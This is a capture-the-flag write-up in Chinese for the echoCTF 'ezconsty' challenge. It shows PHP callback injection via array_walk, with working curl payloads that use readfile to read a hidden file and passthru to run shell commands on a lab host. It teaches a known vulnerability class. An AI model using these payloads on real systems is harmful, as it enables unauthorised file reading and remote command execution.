2 min read

echoCTF - ezconsty writeup (zh-TW)

echoCTF - ezconsty writeup (zh-TW)

題目資訊

解題過程

Step 1:

初步偵察 訪問網站,因為沒有提供 callback 參數,顯示 PHP 程式碼:

關鍵發現:

  • 可通過 $_GET['callback'] 控制要執行的函數
  • array_walk() 會對每個 POST 參數執行 callback
  • 引入了 /app/echoctf.php

Step 2:

理解 array_walk 機制 測試 array_walk 的行為模式:

curl -X POST "http://10.0.14.31/?callback=var_dump" \
     -d "test=123"

輸出:

string(3) "123"   # $value (POST 的值)
string(4) "test"  # $key (POST 的鍵)  
bool(true)        # array_walk 返回值

發現:array_walk($_POST, 'callback') 會執行 callback($value, $key)

Step 3:

利用 readfile 讀取隱藏檔案 理解機制後,使用 PHP 的 readfile() 函數讀取檔案:

curl -X POST "http://10.0.14.31/?callback=readfile" \
     -d "test=/app/echoctf.php"

成功輸出:

<?php define("ETSCTF_DEFINE_FLAG","ETSCTF_REDACTED");
bool(true)

Flag 獲得!

Step 4: 其他解法探索

方法二:使用 passthru 執行系統命令

先查看當前目錄是否有檔案,

curl -X POST "http://10.0.14.31/?callback=passthru" \
     -d "id=ls"

發現有echoctf.php,直接讀

curl -X POST "http://10.0.14.31/?callback=passthru" \
     -d "id=cat echoctf.php"

輸出相同的 FLAG 內容

學習重點

  • Callback Injection 漏洞:永遠不要讓使用者控制函數名稱
  • array_walk 參數傳遞
    • 執行 callback($value, $key)
    • POST 的值變成第一個參數,鍵變成第二個參數

經驗分享

在解題過程中的一些發現:

理解 PHP 函數 vs Linux 命令

  • readfile 是 PHP 內建函數,直接讀取檔案
  • 要執行 Linux 命令需透過 system()exec()passthru()

除錯技巧 先用簡單的函數測試,理解參數傳遞方式:

# 測試參數順序
curl -X POST "http://10.0.14.31/?callback=var_dump" -d "key=value"
# 輸出
string(5) "value"
string(3) "key"
bool(true)

總結來說,這題巧妙地結合了 PHP callback injection 和 array_walk 的特性,讓我學到了 PHP 函數參數傳遞的細節,以及不同函數對參數數量的要求。